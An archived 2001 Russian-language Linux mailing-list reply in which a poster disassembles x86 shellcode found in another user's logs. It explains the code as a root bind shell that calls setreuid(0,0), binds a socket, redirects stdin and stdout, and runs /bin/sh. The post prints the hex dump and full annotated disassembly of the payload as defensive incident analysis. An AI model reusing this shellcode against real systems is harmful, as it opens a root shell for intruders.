Главная страница


ru.linux

 
 - RU.LINUX ---------------------------------------------------------------------
 From : Bohdan Vlasyuk                       2:5020/400     12 Jul 2001  15:09:04
 To : All
 Subject : Re: Hепонятки в логах
 -------------------------------------------------------------------------------- 
 
 Victor Ikonnikoff <Victor.Ikonnikoff@p24.f1046.n5020.z2.fidonet.org> wrote:
 
 >  >> на не знаю какой сервис
 >> определи по PID -- 14790
 >> ps aux|grep 14790
 >> :-)
 > Да я как бы в  курсе ;) Просто PIDы все время разные, и к моменту
 > просмотра логов этих процессов в живых уже не было
 
 Hадо было с конца просматривать лог.. :-)
 >>> (уж больно длинная строка - возможно, это бинарный код, да еще
 >>> завершающийся на /bin/sh, как и должна как я понимаю завершаться
 >>> если бы задачей было запустить рутовый шелл.
 >> Вот если бы ты его прислал в хексдампе..  например CD 80 это int
 >> $0x80 -- т.е. syscall
 > Вроде так:
 
 Да, ты бы еще заююкал..
 
 лучше всего присылать дампы в xxd -- он есть у большинства..
 
 man xxd (например, про -r)
 
 > 0000160    9090    9090    3190    31db    31c9    b0c0    cd46    8980
 > 0000170    31e5    b2d2    8966    31d0    89c9    43cb    5d89    43f8
 > 0000180    5d89    4bf4    4d89    8dfc    f44d    80cd    c931    4589
 > 0000190    43f4    8966    ec5d    c766    ee45    4f5e    8927    f04d
 > 00001a0    458d    89ec    f845    45c6    5efc    8950    8dd0    f44d
 > 00001b0    80cd    d089    4343    80cd    d089    cd43    8980    31c3
 > 00001c0    b2c9    893f    cdd0    8980    41d0    80cd    5eeb    5e58
 > 00001d0    7589    485e    c031    4688    475e    4589    4c5e    5eb0
 > 00001e0    894b    8df3    5e4d    8d48    5e55    cd4c    e880    ffe3
 > 00001f0    ffff    622f    6e69    732f    2768    000a
 
 Hет, это какая-то фигня.. очевидно у того парня (или у тебя) проблемы
 с byteorder..
 
 Вот, например, 622f 6e69 732f 2768 это b/nis/'h, а должно быть 2f62
 696e 2f73 6827 -- /bin/sh'
 
 Если его развернуть -- получится вот что -- (AT&T syntax)
 
 Disassembly of section .data:
 
 00000000 <.data>:
    0:   90                      nop    
    1:   90                      nop    
    2:   90                      nop    
    3:   90                      nop    
    4:   90                      nop    
    5:   31 db                   xor    %ebx,%ebx
    7:   31 c9                   xor    %ecx,%ecx
    9:   31 c0                   xor    %eax,%eax
    b:   b0 46                   mov    $0x46,%al
    d:   cd 80                   int    $0x80
  sys_setreuid16(0,0) -- 
 
        setreuid  sets real and effective user ID's of the current
        process.  Un-privileged users may change the real user  ID
        to the effective user ID and vice-versa.
    f:   89 e5                   mov    %esp,%ebp
   11:   31 d2                   xor    %edx,%edx
   13:   b2 66                   mov    $0x66,%dl
   15:   89 d0                   mov    %edx,%eax
   17:   31 c9                   xor    %ecx,%ecx
   19:   89 cb                   mov    %ecx,%ebx
   1b:   43                      inc    %ebx
   1c:   89 5d f8                mov    %ebx,0xfffffff8(%ebp)
   1f:   43                      inc    %ebx
   20:   89 5d f4                mov    %ebx,0xfffffff4(%ebp)
   23:   4b                      dec    %ebx
   24:   89 4d fc                mov    %ecx,0xfffffffc(%ebp)
   27:   8d 4d f4                lea    0xfffffff4(%ebp),%ecx
   2a:   cd 80                   int    $0x80
 socketcall(XXX, &<где-то в стеке..>)
 
   2c:   31 c9                   xor    %ecx,%ecx
   2e:   89 45 f4                mov    %eax,0xfffffff4(%ebp)
   31:   43                      inc    %ebx
   32:   66 89 5d ec             mov    %bx,0xffffffec(%ebp)
   36:   66 c7 45 ee 5e 4f       movw   $0x4f5e,0xffffffee(%ebp)
   3c:   27                      daa    
   3d:   89 4d f0                mov    %ecx,0xfffffff0(%ebp)
   40:   8d 45 ec                lea    0xffffffec(%ebp),%eax
   43:   89 45 f8                mov    %eax,0xfffffff8(%ebp)
   46:   c6 45 fc 5e             movb   $0x5e,0xfffffffc(%ebp)
   4a:   50                      push   %eax
   4b:   89 d0                   mov    %edx,%eax
   4d:   8d 4d f4                lea    0xfffffff4(%ebp),%ecx
   50:   cd 80                   int    $0x80
 Еще один socketcall()
 
   52:   89 d0                   mov    %edx,%eax
   54:   43                      inc    %ebx
   55:   43                      inc    %ebx
   56:   cd 80                   int    $0x80
 И  еще один socketcall()
 
   58:   89 d0                   mov    %edx,%eax
   5a:   43                      inc    %ebx
   5b:   cd 80                   int    $0x80
 [Догадайтесь сами]
 Смею предположить что в том куске кода открывался сокет, и биндился на
 какой-то порт. Кто хочет -- разбирайтесь сами, но, судя по всему, порт
 это 0x4f5e -- т.е. 20318 (но, не скрою, это лишь догадка)
   
   5d:   89 c3                   mov    %eax,%ebx
   5f:   31 c9                   xor    %ecx,%ecx
   61:   b2 3f                   mov    $0x3f,%dl
   63:   89 d0                   mov    %edx,%eax
   65:   cd 80                   int    $0x80
 dup2(<тот сокет, который сверху открывали>,0)
 
 [stdin]
 
 чтобы проще было писать в него тому башу, который, очевидно, сейчас
 запустится..
 
   67:   89 d0                   mov    %edx,%eax
   69:   41                      inc    %ecx
   6a:   cd 80                   int    $0x80
 dup2(<тот сокет, который сверху открывали>,1)
 
 [stdout]
 
   6c:   eb 5e                   jmp    0xcc
   6e:   58                      pop    %eax
   6f:   5e                      pop    %esi
   70:   89 75 5e                mov    %esi,0x5e(%ebp)
   73:   48                      dec    %eax
   74:   31 c0                   xor    %eax,%eax
   76:   88 46 5e                mov    %al,0x5e(%esi)
   79:   47                      inc    %edi
   7a:   89 45 5e                mov    %eax,0x5e(%ebp)
   7d:   4c                      dec    %esp
   7e:   b0 5e                   mov    $0x5e,%al
   80:   4b                      dec    %ebx
   81:   89 f3                   mov    %esi,%ebx
   83:   8d 4d 5e                lea    0x5e(%ebp),%ecx
   86:   48                      dec    %eax
   87:   8d 55 5e                lea    0x5e(%ebp),%edx
   8a:   4c                      dec    %esp
   8b:   cd 80                   int    $0x80
   8d:   e8 e3 ff ff ff          call   0x75
 Тут уже не важно что он делает, суть в том что запускает он
 /bin/sh висеть у тебя на порту с рутовским шелом..
  
   92:   2f                      das    
   93:   62 69 6e                bound  %ebp,0x6e(%ecx)
   96:   2f                      das    
   97:   73 68                   jae    0x101
 .ascii "/bin/sh"
   99:   27                      daa    
   9a:   0a 00                   or     (%eax),%al
 Я не думаю что это он сам придумал -- я уже видел такой код когда-то..
 Очевидно, тебе "повезло", и очередной идиот (s.c. script kiddie) решил
 потестить твою секюрность..
 --- ifmail v.2.15dev5
  * Origin: InterCEC, Vinnitsa State Technical University, Ukraine (2:5020/400)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 Re: Hепонятки в логах   Bohdan Vlasyuk   12 Jul 2001 15:09:04 
Архивное /ru.linux/166869914b9a0.html, оценка 2 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional